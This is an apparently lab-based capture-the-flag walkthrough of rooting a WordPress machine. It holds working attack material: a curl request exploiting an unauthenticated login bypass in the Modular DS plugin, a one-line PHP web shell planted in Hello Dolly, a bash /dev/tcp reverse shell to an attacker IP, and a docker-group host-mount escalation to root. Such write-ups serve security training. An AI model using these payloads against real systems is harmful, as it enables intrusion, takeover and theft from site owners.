July 14, 2026
Hack Smarter Labs — Dark: From Unauthenticated WordPress Bug to Root
A Hack Smarter Labs walkthrough

By Muhammad Usman Faridi
6 min read
The Brief
Every pentest starts the same way, with almost nothing. This engagement was no different: a single IP address, VPN access to the network, and one objective: find every vulnerability on the host and prove impact by getting to root.
No credentials. No scope notes beyond "this one machine". Just an ip address of the machine 10.1.152.76.
Step 1: Finding the Door
The first move on any engagement is to figure out what's actually running on the target. For me nmap has been the best (overall).
nmap 10.1.152.76 -sV -Pn -sC -oN dark.txtnmap 10.1.152.76 -sV -Pn -sC -oN dark.txt- -sV — does version scanning on the target
- -Pn — pings the target (send packets to the target, checks if it's up and running)
- -sC — performs script scan (invokes Nmap Scripting Engine)
- -oN — saves your file
└─$ nmap 10.1.152.76 -sV -Pn -sC -oN dark.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-14 00:59 PKT
Nmap scan report for 10.1.152.76
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:fa:00:85:4c:0d:97:79:7b:46:e4:86:1b:18:72:19 (ECDSA)
|_ 256 ea:8d:af:2f:ec:15:d9:32:c0:94:6f:09:03:49:60:36 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Dark – Just another WordPress site
|_http-generator: WordPress 6.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel└─$ nmap 10.1.152.76 -sV -Pn -sC -oN dark.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-14 00:59 PKT
Nmap scan report for 10.1.152.76
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:fa:00:85:4c:0d:97:79:7b:46:e4:86:1b:18:72:19 (ECDSA)
|_ 256 ea:8d:af:2f:ec:15:d9:32:c0:94:6f:09:03:49:60:36 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Dark – Just another WordPress site
|_http-generator: WordPress 6.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTwo open ports showed up.
- SSH on port 22 — it is a dead end without credentials.
- Web page on port 80: a WordPress 6.0 site called "Dark".
- The
robots.txtfile even disallows/wp-admin/.
WordPress running the show means one thing: it's time to stop guessing and start enumerating.
Step 2: Enumerating with WPScan
WordPress's biggest attack surface usually isn't the core, it's the plugins. So I pointed WPScan at the target with an API token for CVE mapping and forced it to actively hunt for installed plugins:
wpscan --url http://10.1.152.76 --api-token <redacted> --enumerate p --plugins-detection mixedwpscan --url http://10.1.152.76 --api-token <redacted> --enumerate p --plugins-detection mixedThe scan came back with a plugin called modular-connector, flagged with two known vulnerabilities:
- One of them a critical Unauthenticated Privilege Escalation
┌──
└─$ wpscan --url http://10.1.152.76 --api-token <redacted> --enumerate p --plugins-detection mixed
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
[i] It seems like you have not updated the database for some time.
[+] URL: http://10.1.152.76/ [10.1.152.76]
[+] Started: Tue Jul 14 01:10:53 2026
[+] modular-connector
| Location: http://10.1.152.76/wp-content/plugins/modular-connector/
| Last Updated: 2026-06-26T17:26:00.000Z
| Readme: http://10.1.152.76/wp-content/plugins/modular-connector/readme.txt
| [!] The version is out of date, the latest version is 3.0.2
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.1.152.76/wp-content/plugins/modular-connector/, status: 403
|
| [!] 2 vulnerabilities identified:
|
| [!] Title: Modular DS < 2.5.2 - Unauthenticated Privilege Escalation
| Fixed in: 2.5.2
| References:
| - https://wpscan.com/vulnerability/3ccaa0fd-b11c-4f9f-bab5-644a53b11035
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23550
| - https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2-5-1-privilege-escalation-vulnerability┌──
└─$ wpscan --url http://10.1.152.76 --api-token <redacted> --enumerate p --plugins-detection mixed
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
[i] It seems like you have not updated the database for some time.
[+] URL: http://10.1.152.76/ [10.1.152.76]
[+] Started: Tue Jul 14 01:10:53 2026
[+] modular-connector
| Location: http://10.1.152.76/wp-content/plugins/modular-connector/
| Last Updated: 2026-06-26T17:26:00.000Z
| Readme: http://10.1.152.76/wp-content/plugins/modular-connector/readme.txt
| [!] The version is out of date, the latest version is 3.0.2
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.1.152.76/wp-content/plugins/modular-connector/, status: 403
|
| [!] 2 vulnerabilities identified:
|
| [!] Title: Modular DS < 2.5.2 - Unauthenticated Privilege Escalation
| Fixed in: 2.5.2
| References:
| - https://wpscan.com/vulnerability/3ccaa0fd-b11c-4f9f-bab5-644a53b11035
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23550
| - https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2-5-1-privilege-escalation-vulnerabilityUnauthenticated Privilege escalation. Those two words next to each other on a pentest are the equivalent of finding a key taped under the doormat. This was the way in.
Step 3: Walking In the Front Door (CVE-2026–23550)
The vulnerability boils down to a logic flaw in how Modular DS validates requests. The plugin has a "direct request mode" meant for trusted, first-party traffic, triggered by passing origin=mo as a query parameter. When that mode kicks in, the plugin's auth middleware stops checking who is making the request and only checks whether the site itself has an active Modular connection configured.
Combine that with the fact that the /login/{request} route defaults to logging in as the site administrator whenever no specific user ID is supplied and you get a login bypass that requires nothing more than a GET request.
curl -i "http://10.1.152.76/api/modular-connector/login/anything/?origin=mo&type=foo"
┌──(kali㉿kali)-[~/hacksmarter/Dark]
└─$ curl -i "http://10.1.152.76/api/modular-connector/login/anything/?origin=mo&type=foo"
HTTP/1.1 302 Found
Date: Mon, 13 Jul 2026 20:26:06 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: wordpress_db49e7cd50c86434023b6331efb360e5=streetcoderadmin <redacted>; expires=Tue, 28-Jul-2026 08:26:06 GMT; Max-Age=1252800; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_db49e7cd50c86434023b6331efb360e5=streetcoderadmin <redacted>; expires=Tue, 28-Jul-2026 08:26:06 GMT; Max-Age=1252800; path=/; HttpOnly
X-Redirect-By: WordPress
Location: http://10.1.152.76/wp-admin/index.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8curl -i "http://10.1.152.76/api/modular-connector/login/anything/?origin=mo&type=foo"
┌──(kali㉿kali)-[~/hacksmarter/Dark]
└─$ curl -i "http://10.1.152.76/api/modular-connector/login/anything/?origin=mo&type=foo"
HTTP/1.1 302 Found
Date: Mon, 13 Jul 2026 20:26:06 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: wordpress_db49e7cd50c86434023b6331efb360e5=streetcoderadmin <redacted>; expires=Tue, 28-Jul-2026 08:26:06 GMT; Max-Age=1252800; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_db49e7cd50c86434023b6331efb360e5=streetcoderadmin <redacted>; expires=Tue, 28-Jul-2026 08:26:06 GMT; Max-Age=1252800; path=/; HttpOnly
X-Redirect-By: WordPress
Location: http://10.1.152.76/wp-admin/index.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8That's it!!
- One request, no credentials, and WordPress hands back a fully authenticated admin session cookie pair for the user
streetcoderadmin. - Dropping those cookies into the browser and navigating to
/wp-admin/plugins.phpconfirms it, we get full dashboard access.
Step 4: Turning Admin Access into Code Execution
Admin access on WordPress is really just one step away from remote code execution, and there are a dozen ways to get there:
- Plant a malicious plugin.
- Edit a theme template and upload a crafted media file.
The plugins page showed three installed plugins, only one of which (Modular Connector) was active.
Rather than reach for a third-party reverse shell plugin and deal with uploads, zip files, and file-size limits. I went with the simplest possible primitive.
WordPress let's admins edit plugin source code directly from the dashboard. If I can write PHP into a file, the web server will execute, I don't need to upload anything at all.
I opened the Hello Dolly plugin (a small, default WordPress plugin, perfect for this) and dropped in a single line:
<?php
if (isset($_GET['c'])) { system($_GET['c']); }<?php
if (isset($_GET['c'])) { system($_GET['c']); }
Then activated the plugin so its file would actually load and confirm the code execution directly at:
http://10.1.152.76/wp-content/plugins/hello-dolly/hello.php?c=idhttp://10.1.152.76/wp-content/plugins/hello-dolly/hello.php?c=idThe response came back with a full uid/gid listing. Command execution, confirmed.
Step 5: Catching a Shell
With confirmed code execution, getting an interactive shell was just a matter of swapping the payload.
Listener up:
nc -lvnp 4445nc -lvnp 4445Payload triggered via the same parameter:
http://10.1.152.76/wp-content/plugins/hello-dolly/hello.php?c=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.200.71.89/4445%200%3E%261%27http://10.1.152.76/wp-content/plugins/hello-dolly/hello.php?c=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.200.71.89/4445%200%3E%261%27A connection landed almost instantly, a shell as www-data.
The user flag was sitting right where you'd expect; at /var/www/user.txt
Step 6: The Group Membership That Changes Everything
Landing a low-privilege shell is only half the job. The next move is always the same question: what does this user have access to, that it shouldn't?
Remember the id's that showed up earlier when our command executed?
www-data@dark:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data), 121(docker)www-data@dark:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data), 121(docker)Here is it www-data is a member of the docker group.
On paper, that sounds harmless. Docker just runs containers, right? In practice, group membership in docker is one of the most common and most overlooked misconfigurations that leads straight to root.
That's because talking to the Docker daemon is root-equivalent access, even if the user account itself has zero sudo rights.
A quick sanity check confirms daemon access:
www-data@dark:/var/www$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESwww-data@dark:/var/www$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESAn empty list, returned without a permission error, is all the confirmation needed. If this user could talk to the daemon at all, the rest is academic.
Step 7: Root, By Way of a Container
Here's the escalation, in a single line:
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/bashdocker run -v /:/mnt --rm -it alpine chroot /mnt /bin/bashBreaking down exactly what's happening:
docker run— spin up a new container-v /:/mnt— mount the host's entire root filesystem into the container at/mnt--rm— clean up the container automatically on exit-it— give it an interactive terminalalpine— use the small, fast Alpine Linux imagechroot /mnt /bin/bash— redefine the container's root directory as the host's filesystem, then launch a shell inside it
Why this works?
- Docker containers are isolated, they are not allowed to touch
hostfiles but that isolation is forced bydocker daemon. - But if the user is in the docker group, they can enforce anything (docker will happily do anything). Even if its mounting host disk into a container.
The root flag can be found at root/root.txt
This lab was completed as part of Hack Smarter Labs. All IPs, flags, and identifying details are specific to the lab environment and hold no meaning outside of it.